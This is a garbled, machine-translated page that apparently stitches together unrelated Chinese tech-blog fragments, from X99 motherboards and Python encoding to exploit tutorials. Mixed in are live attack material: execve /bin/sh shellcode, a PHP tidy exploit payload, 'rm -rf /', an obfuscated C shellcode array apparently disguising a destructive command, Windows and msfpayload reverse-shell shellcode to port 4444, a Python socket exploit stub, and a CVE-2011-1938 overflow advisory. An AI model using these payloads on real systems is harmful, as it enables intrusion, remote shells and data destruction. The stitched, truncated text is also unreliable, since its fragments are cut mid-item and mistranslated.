x99 extreme4

-designed code to implement other functions, this code is shellcode.Observe the following code:int main( ){char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}The shellcode of this experiment is the compiled version of the code just now:\x31\xc0\x50\x68 "//sh" \x68 "/bin" \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x803.3 Vulnerability ProceduresSave the following code as a "stack.c" file and save it to the/tmp directory. The

with the DDR3 occupation of the market for many years, the development of memory has also begun to change, the performance of a stronger DDR4 from the end of 2014 into human vision, as in the DDR2 era to the DDR3 era, Skylake platform in the DDR3 transition to the stage, and in order to take into account consumers, The Skylake processor integrates dual controllers and can be compatible with both DDR3 and DDR4 memory. It also means that consumers need to choose between a slightly more expensive D

that more players can step into the world of excess frequency. However, i5 and i7 series supported Intel Turbo Boost Turbo Acceleration technology to maintain the 2.0 version, the previous X99 support of the Intel Turbo Boost 3.0 has not been decentralized, a bit of a pity. The chip from the HD530 into the HD630, that is, the eighth generation of the chip into the nineth generation, frequency based on CPU differences, the highest frequency GPU has 10

(s))How to convert a character to a byte. The byte default is a 16 binary number, which is represented by the 16 binary. One byte equals 8 binary digits.#The S string has four Chinese, which is four characters. When looping with for, a character is a loop#converts a character to three bytes by bytess="Old Chen Handsome" forTempinchS:Print(temp)Print(Bytes (temp,encoding='Utf-8'))#result OutputOld b'\xe8\x80\x81'Chen B'\xe9\x99\x88'Handsome b'\xe5\xb8

Copy Code code as follows: if (!extension_loaded ("tidy")) {die ("You need tidy extension loaded!");} $scode = "\xfc\xbb\xc7\xc4\x05\xc9\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85". "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x3b\x2c\x41\xc9\xc3\xad\xc1". "\x8c\xff\x26\xa9\x0b\x87\x39\xbd\x9f\x38\x22\xca\xff\xe6\x53\x27". "\xb6\x6d\x67\x3c\x48\x9f\xb9\x82\xd2\xf3\x3e\xc2\x91\x0c\xfe\x09". "\x54\x13\xc2\x65\x93\x28\x96\x5d\x58\x3b\xf3\x15\x3f\xe7\xfa\xc2". "\xa6\x6c\xf0\x5f\xac\x2d\x15\x61

Coca-Cola Competition host is the Coca-Cola Company and the United States hardware manufacturers maingear cooperation, the introduction of a cola taste full of electric competition host. Many small partners must be very curious about the configuration, let small set up for you to talk about it. Introduction of Coca-Cola Electric Competition host configuration In terms of configuration, Rush 1ofONE is equipped with EVGA X99 Micro 2 mot

GET Request:python2.7:Import urllib,urllib2url= ' http://192.168.199.1:8000/mainsugar/loginGET/' textmod ={' user ': ' admin ', ' Password ': ' Admin '}textmod = Urllib.urlencode (textmod) print (textmod) #输出内容:p assword=adminuser=adminreq = urllib2. Request (url = '%s%s%s '% (URL, '? ', textmod)) res = Urllib2.urlopen (req) res = Res.read () print (res) #输出内容: Login Successfulpython3.5:From urllib import parse,requesttextmod={' user ': ' admin ', ' password ': ' admin '}textmod = Parse.urlencod

One, the type of code:1 Acsic code basic without different coding between the interoperability will produce garbled,2unicode a letter 4 bytes 00000000 00000000 00100100 01000000Chinese 4 bytes 00000000 00000000 00100100 000000003utf-8 Chinese A letter 1 byte 00000001Europe 2 Bytes 00000000 00000000 00100100 00000000Asian Chinese 3 Bytes 00000000 00000000 00000000 00100100 00000000　　　　　　　4 gbk A letter 2 Bytes 00000000 00001000Chinese Asian 2 bytes 00100100 00000000Two: The difference between byt

In the TensorFlow picture data reading, often encounter a variety of data types on the subtle problem, today is encountered in the conversion of the picture to Tfrecord process, the problem of reading pictures. Finally found ... The error occurred in the processing of the NumPy string. In order to be compatible with C, Np.array will cut off the ' \x00 ' at the end of the string to convert the picture data (stored in decimal string format) to 16 in Tobytes (), with a string ' \x92\

In Python2. There are a lot of problems with the Chinese processing under X, >>>listnine = [' pear ', ' orange ', ' apple ', ' banana '] >>>print ' listnine list:%s '% listnine The result will be: [' \xe6\xa2\xa8 ', ' \xe6\xa9\x98\xe5\xad\x90 ', ' \xe8\x8b\xb9\xe6\x9e\x9c ', ' \xe9\xa6\x99\xe8\x95\x89 '] But what we want to output is Chinese, not these things, and here are two ways to do this: First type: Use decode (' String_escape ') >>>li

\xad\xe6\x96\x87\xe7\xab\x99 '}]}First import the file, create the JSON object, and view the type, which is already the dict type. #test. py Import Simplejson as json ddata = json.loads (File ("Data.json")) print ddata print type (ddata ) #Secondly, we read the key value in the dictionary that corresponds to "data" >>> ddata[' data '//view dictionary method. >>>type (ddata[' data ']) Found ddata[' data ' is a list, the list is to be queried by ser

' => ' u ', ' V ' => ' V ', ' W ' => ' W ', ' x ' => ' x ', ' y ' => ' y ', ' z ' => ' z ', ' a ' => ' a ', ' B ' => ' B ', ' C ' => ' C ', ' d ' = Gt ' d ', ' e ' => ' e ', ' F ' => ' f ', ' G ' => ' g ', ' H ' => ' h ', ' I ' => ' I ', ' J ' => ' J ', ' K ' => ' K ', ' l ' => ' L ', ' m ' => ' m ', ' n ' => ' n ', ' o ' => ' o ', ' P ' => ' P ', ' Q ' => ' Q ', ' R ' => ' R ', ' s ' => ' s ', ' t ' => ' t ', ' u ' => ' u ', ' V ' => ' V ', ' W ' => ' W ', ' x ' => ' x ', ' y ' => ' y ', ' z '

1.RM-RF/This command will recursively merge all files under the mandatory delete/directory.2.Char esp[] __attribute__ ((section (". Text"))/* E.S.PRelease */= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\

\X61\X59\X5A\X51\XFF\XE0\X58\X5F\X5A\X8B\X12\XEB\X86\X5D""\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07""\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00""\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff""\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6""\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff""\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56""\

This will cause the error to be read:Data truncated for column ' X1 ' at row 1This should be a version issue, especially a virtual host.Change the ' to null ' without error:X1 is a double type of data.INSERT into TempTable (x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18,x19,x20,x21,x22,x23,x24,x25 , x26,x27,x28,x29,x30,x31,x32,x33,x34,x35,x36,x37,x38,x39,x40,x41,x42,x43,x44,x45,x46,x47,x48,x49,x50,x51,x52, x53,x54,x55,x56,x57,x58,x59,x60,x61,x62,x63,x64,x65,x66,x67,x68,x69,x70,x7

above to test.Then we test the bad character, after the bad character is tested \x00\x0a\x0d\x20Generate Shellcode and filter bad characterscd/usr/share/framework2/. /msfpayload-L #可以生成的shellcode的种类. /msfpayload linux_ia32_reverse lhost=127.0. 0.1 lport=4444"\x00\x0a\x0d\x20"Build a Python script#!/usr/bin/pythonImportSockethost="127.0.0.1"Shellcode= ("\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+"\X1

String definitions:1,var mystring= "content"; or var mystring= ' content '2,var mystring= New String ("content") creates an object---, but adds overheadContent:1, adding single quotation marks (double quotes) in double quotation marks (single quotes) does not need to be escaped, if double quotation marks (single quotation marks) are required in double quotation mark (single quotation mark)2, the string by default can only be defined by a row of non-wrapped, such as need to be divided into multip

Release date:Updated on: Affected Systems:PHP 5.3.xDescription:--------------------------------------------------------------------------------Bugtraq id: 47950Cve id: CVE-2011-1938 PHP is short for the English Super Text preprocessing language (PHP: Hypertext Preprocessor. The PHP "socket_connect ()" function has the stack buffer overflow vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary machine code in the PHP Execution Process, which may cause the Web server

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\ x15""\ X92 \ x8a \ x66 \ x3a \ x25 \ x5e \ x1d \ x46 \ xae \ x61 \ xf2 \ xce \ xf4 \ x45""\ Xd6 \ x8b \ xaf \ xe4 \ x4f \ x76 \ x1e \ x18 \ x8f \ xde \ xff \ xbc \ xdb \ xcd""\ X14 \ xc6 \ x81 \ x99 \ xd9 \ xf5 \ x39 \ x5a \ x75 \ x8d \ x4a \ x68 \ xda \ x25""\ Xc5 \ xc0 \ x93 \ xe3 \ x12 \ x26 \ x8e \ x54 \ x8c \ xd9 \ x30 \ xa5 \ x84 \ x1d""\ X64 \ xf5 \ xbe \ xb4 \ x04 \ x9e \ x3e \ x38 \ xd1 \ x31 \ x6f \ x96 \ x89 \ xf1""\ Xdf \ x56 \ x79 \ x9